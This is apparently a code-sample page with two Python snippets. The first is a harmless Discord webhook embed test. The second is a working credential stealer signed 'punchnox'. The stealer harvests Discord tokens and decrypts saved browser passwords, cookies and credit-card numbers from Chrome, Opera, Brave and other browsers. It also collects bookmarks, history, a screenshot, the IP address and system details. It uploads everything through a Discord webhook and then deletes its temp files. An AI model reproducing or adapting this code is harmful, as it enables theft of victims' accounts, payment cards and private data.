Пример #1
0
    def setUp(self):
        self.embed = dhooks.Embed(
            description='This is the **description** of the embed! :smiley:',
            color=0x1e0f3,
            timestamp=""  # sets the timestamp to current time
        )

        image1 = 'https://i.imgur.com/rdm3W9t.png'
        image2 = 'https://i.imgur.com/f1LOr4q.png'

        self.embed.set_author(name='Author Goes Here', icon_url=image1)
        self.embed.add_field(name='Test Field',
                             value='Value of the field :open_mouth:')
        self.embed.add_field(name='Another Field', value='1234 :smile:')
        self.embed.set_footer(text='Here is my footer text', icon_url=image1)

        self.embed.set_thumbnail(image1)
        self.embed.set_image(image2)

        response = requests.get('https://i.imgur.com/rdm3W9t.png')
        self.file = dhooks.File(BytesIO(response.content), name='wow.png')

        self.func = None
Пример #2
0
def main():

    paths = {
        'Discord': roaming + '\\Discord',
        'Discord Canary': roaming + '\\discordcanary',
        'Google Chrome': local + '\\Google\\Chrome\\User Data\\Default',
        'Opera': roaming + '\\Opera Software\\Opera Stable',
        'Brave': local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
        'Yandex': local + '\\Yandex\\YandexBrowser\\User Data\\Default',
        '7Star': local + '\\7Star\\7Star\\User Data',
        'Amigo': local + '\\Amigo\\User Data',
        'CentBrowser': local + '\\CentBrowser\\User Data',
        'Chrome Canary': local + '\\Google\\Chrome SxS\\User Data',
        'Epic Privacy Browser': local + '\\Epic Privacy Browser\\User Data',
        'Kometa': local + '\\Kometa\\User Data',
        'Orbitum': local + '\\Orbitum\\User Data',
        'Sputnik': local + '\\Sputnik\\Sputnik\\User Data',
        'Torch': local + '\\Torch\\User Data',
        'Uran': local + '\\uCozMedia\\Uran\\User Data',
        'Vivaldi': local + '\\Vivaldi\\User Data',
    }

    message = ''

    for platform2, path in paths.items():
        if not os.path.exists(path):
            continue

        message += f'\n**{platform2}**\n```\n'

        tokens = find_tokens(path)

        if len(tokens) > 0:
            for token in tokens:
                message += f'{token}\n'
        else:
            message += 'No tokens found.\n'

        message += '```'

    def GetPasswords():
        global credentials
        credentials = []

        for browser in GetBrowsers():
            master_key = GetMasterKey(browser)
            database = FetchDataBase(
                browser + '\\Login Data',
                'SELECT action_url, username_value, password_value FROM logins'
            )

            for row in database:
                password = {
                    'hostname': row[0],
                    'username': row[1],
                    'password': DecryptValue(row[2], master_key)
                }
                credentials.append(password)

        return credentials

    def GetFormattedPasswords():
        getPasswords = GetPasswords()
        fmtPasswords = ''

        for password in getPasswords:
            fmtPasswords += (
                'Hostname: {0}\nUsername: {1}\nPassword: {2}\n=============================================\n'
                .format(password['hostname'], password['username'],
                        password['password']))

        return fmtPasswords

    fichier2 = open(temp + "\\punchnox.txt", 'a')
    fichier2.write(GetFormattedPasswords())
    fichier2.close()

    def GetCookies():
        global credentials
        credentials = []

        for browser in GetBrowsers():
            master_key = GetMasterKey(browser)
            database = FetchDataBase(browser + '\\Cookies',
                                     'SELECT * FROM cookies')

            for row in database:
                cookie = {
                    'value': DecryptValue(row[12], master_key),
                    'hostname': row[1],
                    'name': row[2],
                    'path': row[4],
                    'expires': row[5],
                    'secure': bool(row[6])
                }
                credentials.append(cookie)

        return credentials

    def GetFormattedCookies():
        getCookies = GetCookies()
        fmtCookies = ''

        for cookie in getCookies:
            fmtCookies += (
                'Value: {0}\nHost: {1}\nName: {2}\nPath: {3}\nExpire: {4}\nSecure: {5}\n\n'
                .format(cookie['value'], cookie['hostname'], cookie['name'],
                        cookie['path'], cookie['expires'], cookie['secure']))

        return fmtCookies

    fichier = open(temp + "\\cookies.txt", 'a')
    fichier.write(GetFormattedCookies())
    fichier.close()

    def GetBookmarks():
        global credentials
        credentials = []

        for browser in GetBrowsers():
            bookmarksFile = browser + '\\Bookmarks'

            if not os.path.exists(bookmarksFile):
                continue
            else:
                with open(bookmarksFile, 'r', encoding='utf8',
                          errors='ignore') as file:
                    bookmarks = load(file)['roots']['bookmark_bar']['children']

            for row in bookmarks:
                bookmark = {
                    'hostname': row['url'],
                    'name': row['name'],
                    'date_added': ConvertDate(row['date_added'])
                }

                credentials.append(bookmark)

        return credentials

    def GetFormattedBookmarks():
        getBookmarks = GetBookmarks()
        fmtBookmarks = ''

        for bookmark in getBookmarks:
            fmtBookmarks += ('URL: {0}\nName: {1}\nDate: {2}\n\n'.format(
                bookmark['hostname'], bookmark['name'],
                bookmark['date_added']))

        return fmtBookmarks

    fichier = open(temp + "\\favori.txt", 'a')
    fichier.write(GetFormattedBookmarks())
    fichier.close()

    def GetCreditCards():
        global credentials
        credentials = []

        for browser in GetBrowsers():
            master_key = GetMasterKey(browser)
            database = FetchDataBase(browser + '\\Web Data',
                                     'SELECT * FROM credit_cards')

            for row in database:
                if not row[4]:
                    break

                card = {
                    'number': DecryptValue(row[4], master_key),
                    'expireYear': row[3],
                    'expireMonth': row[2],
                    'name': row[1],
                }
                credentials.append(card)

        return credentials

    def GetFormattedCreditCards():
        getCreditCards = GetCreditCards()
        fmtCreditCards = ''
        for card in getCreditCards:
            fmtCreditCards += (
                'Number: {4}\nName: {1}\nExpireYear: {3}\nExpireMonth: {2}\n\n'
                .format(card['number'], card['expireYear'],
                        card['expireMonth'], card['name']))

            return fmtCreditCards

    dict_obj = bh.get_browserhistory()
    strobj = str(dict_obj).encode(errors='ignore')
    fichier58 = open(temp + "\\history.txt", 'a')
    fichier58.write(str(strobj))
    fichier58.close()

    hook.send("historique : ",
              file=dhooks.File(temp + "\\history.txt", name="history.txt"))
    hook.send("cookies : ",
              file=dhooks.File(temp + "\\cookies.txt", name="cookies.txt"))
    hook.send("password : "******"\\punchnox.txt", name="password.txt"))
    hook.send("Favori : ",
              file=dhooks.File(temp + "\\favori.txt", name="favori.txt"))
    os.system("del " + temp + "\\history.txt")
    os.system("del " + temp + "\\cookies.txt")
    os.system("del " + temp + "\\punchnox.txt")
    os.system("del " + temp + "\\favori.txt")
    if GetFormattedCreditCards():
        cartes = GetFormattedCreditCards()

    else:
        cartes = "Pas de cartes de crédits trouvées"

    hook.send("```\n" + cartes + "\n```")
    screenshot = pyautogui.screenshot()
    screenshot.save(temp + "\\screen.png")

    hook.send(file=dhooks.File(temp + '\\screen.png', name="screen.png"))
    os.system("del " + temp + "\\screen.png")

    hook.send(message)
    hook.send("```fix\nNouvelle connexion ouverte " + uuidgen + "\nPrefix : " +
              platform.node() + "\nSystème d'exploitation : " +
              platform.system() + " " + platform.release() + "\nArch : " +
              platform.architecture()[0] + "\nNode : " + platform.node() +
              "\nProcesseur : " + platform.processor() + "\nIp : " + ip +
              "\nNom de la session : " + os.getlogin() +
              "\n```\n>>> ***Dev by punchnox***")